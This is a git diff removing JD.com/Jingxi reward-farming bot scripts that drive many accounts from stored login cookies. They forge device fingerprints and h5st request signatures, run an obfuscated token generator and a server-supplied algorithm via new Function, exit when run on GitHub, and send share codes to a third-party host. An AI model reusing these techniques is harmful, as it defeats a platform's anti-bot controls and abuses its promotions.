`${$.result.join("\n")}`); - } - resolve(); - }); -} - -function readShareCode() { - return new Promise(async resolve => { - $.get({url: `http://transfer.nz.lu/cfd`, timeout: 10000}, (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} -function uploadShareCode(code) { - return new Promise(async resolve => { - $.get({url: `http://transfer.nz.lu/upload/cfd?code=${code}`, timeout: 10000}, (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) - } else { - if (data) { - if (data === 'OK') { - console.log(`已自动提交助力码\n`) - } else if (data === 'error') { - console.log(`助力码格式错误,乱玩API是要被打屁屁的~\n`) - } else if (data === 'full') { - console.log(`车位已满,请等待下一班次\n`) - } else if (data === 'exist') { - console.log(`助力码已经提交过了~\n`) - } else { - console.log(`未知错误:${data}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - $.newShareCodes = [] - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; - } else { - $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; - } - console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function TotalBean() { - return new Promise(resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_cfd_fresh_exchange.js b/backUp/jd_cfd_fresh_exchange.js deleted file mode 100644 index bc4972c..0000000 --- a/backUp/jd_cfd_fresh_exchange.js +++ /dev/null @@ -1,468 +0,0 @@ -/* -京喜财富岛合成生鲜兑换 -cron 0 0,12 * * * jd_cfd_fresh_exchange.js 整点好像不放库存 默认0点12点 整点有毛自己改 -更新时间:2021-11-19 -活动入口:微信京喜-我的-京喜财富岛 -变量 可选值 5 10 20 30 50 100 (默认100) -export JD_CFD_FRESH_DDW_VIRHB="100" -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜财富岛合成生鲜兑换 -0 0,12 * * * https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_cfd_fresh_exchange.js, tag=京喜财富岛合成生鲜兑换, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true - -================Loon============== -[Script] -cron "0 0,12 * * *" script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_cfd_fresh_exchange.js,tag=京喜财富岛合成生鲜兑换 - -===============Surge================= -京喜财富岛合成生鲜兑换 = type=cron,cronexp="0 0,12 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_cfd_fresh_exchange.js - -============小火箭========= -京喜财富岛合成生鲜兑换 = type=cron,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_cfd_fresh_exchange.js, cronexpr="0 0,12 * * *", timeout=3600, enable=true - */ -const $ = new Env("京喜财富岛合成生鲜兑换"); -const JD_API_HOST = "https://m.jingxi.com/"; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; -$.notifyTime = $.getdata("cfd_notifyTime"); -$.result = []; -$.shareCodes = []; -let cookiesArr = [], cookie = '', token = ''; -let UA, UAInfo = {}; -let ddwVirHb; -let conditionList = [] -let conditionAllList = [] -$.appId = 10032; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_CFD_FRESH_DDW_VIRHB ) { - ddwVirHb = process.env.JD_CFD_FRESH_DDW_VIRHB - }else { - ddwVirHb = "100" - } - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - await $.wait(500) - console.log(`\n\n\n变量JD_CFD_FRESH_DDW_VIRHB 可选值 5 10 20 30 50 100 (默认100)\n`) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.cookie = cookie; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.allTask = [] - $.info = {} - token = await getJxToken() - conditionList = [] - $.exchange = true; - console.log(`尝试获取兑换参数\n`) - await exchangePinPinPearlState() - if (!$.exchange){ - console.log(`无活动权限 下个\n`) - continue - } - console.log(`获取变量对应参数 : `,ddwVirHb,"\n") - let condition = conditionAllList.filter(e => e.ddwVirHb === Number(ddwVirHb))[0]; - if (condition){ - await exchangePinPinPearl(condition.ddwVirHb,condition.strPool); - }else { - console.log(`未获取到指定变量对应参数 默认提现最大兑换额度\n`) - await exchangePinPinPearlStateByMax(); - } - // await $.wait(500); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()); - -async function exchangePinPinPearlStateByMax(){ - console.log(`尝试提现最大兑换额度\n`) - if (conditionList.length===0){ - console.log(`未获取到兑换参数 下个\n`) - return; - } - let number = Math.max.apply(Math,conditionList.map(item => { - return item.ddwVirHb; - })); - - let condition = conditionList.filter(e => e.ddwVirHb == number)[0]; - await exchangePinPinPearl(condition.ddwVirHb,condition.strPool); -} - -// 兑换喜豆 -async function exchangePinPinPearl(ddwVirHb,strPoolName) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/ExchangePinPinPearl`, 